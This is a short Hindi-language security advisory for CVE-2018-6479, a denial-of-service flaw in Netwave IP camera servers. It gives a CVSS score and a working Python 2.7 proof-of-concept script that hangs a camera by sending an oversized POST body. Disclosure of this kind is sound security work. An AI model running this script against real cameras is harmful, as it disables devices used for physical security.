
[CVE-2018-6479] Netwave IP कैमरा सर्वर एक बड़े POST अनुरोध के माध्यम से सेवा अस्वीकरण के लिए असुरक्षित है।
| CVE | विवरण |
|---|---|
| CVE-2018-6479 | अनप्रमाणित दूरस्थ सेवा अस्वीकार भेद्यता |
| CVSS | स्कोर | विवरण |
|---|---|---|
| 3 | 7.3 | CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:X/RL:W/RC:X |
IoT सुरक्षा अनुसंधान के दौरान, विभिन्न IP कैमरा विक्रेताओं पर कुछ भेद्यताएं खोजी गई हैं। Netwave IP Camera एक IP कैमरा सर्वर है जो कैमरा वीडियो देखने और कैमरे का प्रबंधन करने की अनुमति देता है। IP कैमरे विशेष रूप से भौतिक सुरक्षा और नियंत्रण उद्देश्यों के लिए उपयोग किए जाते हैं, इसलिए इसकी उपलब्धता महत्वपूर्ण है।
कोई भी Netwave IP कैमरा केवल इसके रूट पथ पर एक बड़ा POST अनुरोध भेजकर डाउन किया जा सकता है। एक बार अनुरोध भेजने पर, उपकरण अटक जाता है और ऑडियो और वीडियो स्ट्रीमिंग बंद कर देता है।
प्रूफ ऑफ कॉन्सेप्ट: किसी भी NetWave IP कैमरे के विरुद्ध निम्नलिखित Python 2.7 स्क्रिप्ट चलाएँ, यह तुरंत प्रतिक्रिया देना और वीडियो/ऑडियो स्ट्रीमिंग बंद कर देगा।
import string
import httplib
import urllib2
host = "CAMERA_IP"
port = 80
params='A'*9999999 # Huge body
headers = {
"Host": host + ':' + str(port),
"Connection": "keep-alive",
"Content-Length": 9999999,
}
url = "/"
conn = httplib.HTTPConnection(host,port=port)
conn.request("POST",url,params,headers)
response = conn.getresponse()
data = response.read()
print data
Gonzalo García León